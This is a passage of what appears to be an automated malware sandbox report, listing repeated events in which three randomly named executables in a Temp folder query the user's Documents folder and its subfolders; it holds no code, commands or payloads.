Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
